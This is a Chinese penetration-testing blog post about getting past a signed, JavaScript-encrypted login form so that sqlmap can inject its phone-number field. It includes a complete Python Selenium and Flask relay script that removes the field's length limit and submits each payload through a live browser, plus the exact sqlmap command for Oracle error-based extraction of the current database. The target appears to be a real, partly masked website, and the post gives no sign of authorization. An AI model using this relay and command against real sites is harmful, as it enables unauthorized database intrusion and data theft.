前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >通过 selenium 和 flask 中转后利用 sqlmap 进行注入

通过 selenium 和 flask 中转后利用 sqlmap 进行注入

作者头像
重生信息安全
发布2020-04-26 12:43:00
9900
发布2020-04-26 12:43:00
举报
文章被收录于专栏:重生信息安全

0x00 先说前提

昨天某个小伙伴说有个注入没法搞

前端提交登陆表单时数据包加密了, 而且有个 sign 字符串每次都不一样用于校验, 应该是用 js 加密

0x01 找加密的 js 文件

注入的地方是获取验证码时的手机号, 刚开始想着先找到 js 加密的函数, 然后生成 sign 再组数据包发送。

就像 记一次SQL Server报错注入 中一样, 用 selenium 或者 PhantomJS 执行 js 代码生成sign

一番查找发现了加密的 js 文件函数, 但是用的是 angular 这个前端框架, 没用过这个东西。。。。

能看懂一般的 js 代码, 但是这个没得搞, 不懂。。。

0x02 数据中转

本来昨天我已经放弃了的, 结果今天上午小伙伴又找我了, 说还没有整好, 又看了一通 js, 仍然无解, 看不懂。。。

想起昨天有个大佬说用 PhantomJS + flask 这样、那样、再这样, 中转数据就可以用 sqlmap 跑了, emmmmm。。。

虽然很早以前用过 asp 的 Cookie 注入中转 , 但是那个是软件, 一直没有搞懂原理, 现在正好趁机学下

经过各种百度, 大概明白了, 应是本地起个 server, sqlmap 就扫描这个 server, server 接收到 payload 后将 payload 加到表单中, 然后模拟提交表单

0x03 selenium 和 flask 进行中转

没有接触过 PhantomJS, 但是 selenium 以前用过, 可以尝试下

大概看了下, 我们需要注意动态的消息提示框, 需要处理 input 的长度

大概代码就是下面这样了:

代码语言:javascript
复制
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
'''
@Author: reber
@Mail: reber0ask@qq.com
@Date: 2019-03-22 16:22:59
@LastEditTime: 2019-07-22 09:17:05
'''

import time
from lxml import etree
from flask import Flask
from flask import request
from selenium import webdriver
from selenium.webdriver.chrome.options import Options

# chrome_options = Options()
# chrome_options.add_argument('--headless')
# chrome = webdriver.Chrome(executable_path="/opt/chromedriver", options=chrome_options)
chrome = webdriver.Chrome(executable_path="/opt/chromedriver")
chrome.get("https://cx.xxxxxxx.cn/#dashboard")


app = Flask(__name__)

def send(payload):
    # 用两种登陆方式, 这里切换到验证码登陆方式
    chrome.find_element_by_link_text("手机登录").click()

    # 手机号长度有限制, 去除 input 的 maxlength 属性
    chrome.execute_script("document.getElementById('modile').removeAttribute('maxlength')")

    # 给 input 标签赋值
    chrome.find_element_by_id("modile").send_keys(payload)

    # 点击发送验证码
    chrome.find_element_by_id("BtnphoneNote").click()

    # 网速不好时服务器返回数据慢所以用 while
    while True:
        selector = etree.HTML(chrome.page_source)
        message = selector.xpath("//div[@class='ng-binding ng-scope']/text()")
        if message:
            time.sleep(0.5)
            # 得到返回的信息后, 关闭信息提示框, 然后清除 input 的内容便于发送下一个 payload
            chrome.find_element_by_class_name("close").click()
            chrome.find_element_by_id("modile").clear()
            break
        time.sleep(0.5)
    return "ttttt"+message[0]

@app.route('/')
def index():
    payload = request.args.get("payload")
    return send(payload)


if __name__ == "__main__":
    app.run()

0x04 sqlmap 测试效果

  • 启动 flask 服务
代码语言:javascript
复制
[16:09 reber@wyb at ~/Pentest]
➜  python3 tmp.py
* Serving Flask app "tmp" (lazy loading)
* Environment: production
WARNING: Do not use the development server in a production environment.
Use a production WSGI server instead.
* Debug mode: off
* Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)
  • 使用 sqlmap 尝试扫描
代码语言:javascript
复制
sqlmap --risk 2 --level 3 --tamper space2comment --batch --random-agent -u "http://127.0.0.1:5000/?payload=13188888888*" --dbms="Oracle" --technique=E --current-db
  • flask 接收到了payload
  • sqlmap 执行结果

参考链接:http://wyb0.com/posts/2019/after-transit-via-selenium-flask-to-use-sqlmap/

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-10-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 重生信息安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x00 先说前提
  • 0x01 找加密的 js 文件
  • 0x02 数据中转
  • 0x03 selenium 和 flask 进行中转
  • 0x04 sqlmap 测试效果
相关产品与服务
验证码
腾讯云新一代行为验证码(Captcha),基于十道安全栅栏, 为网页、App、小程序开发者打造立体、全面的人机验证。最大程度保护注册登录、活动秒杀、点赞发帖、数据保护等各大场景下业务安全的同时,提供更精细化的用户体验。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档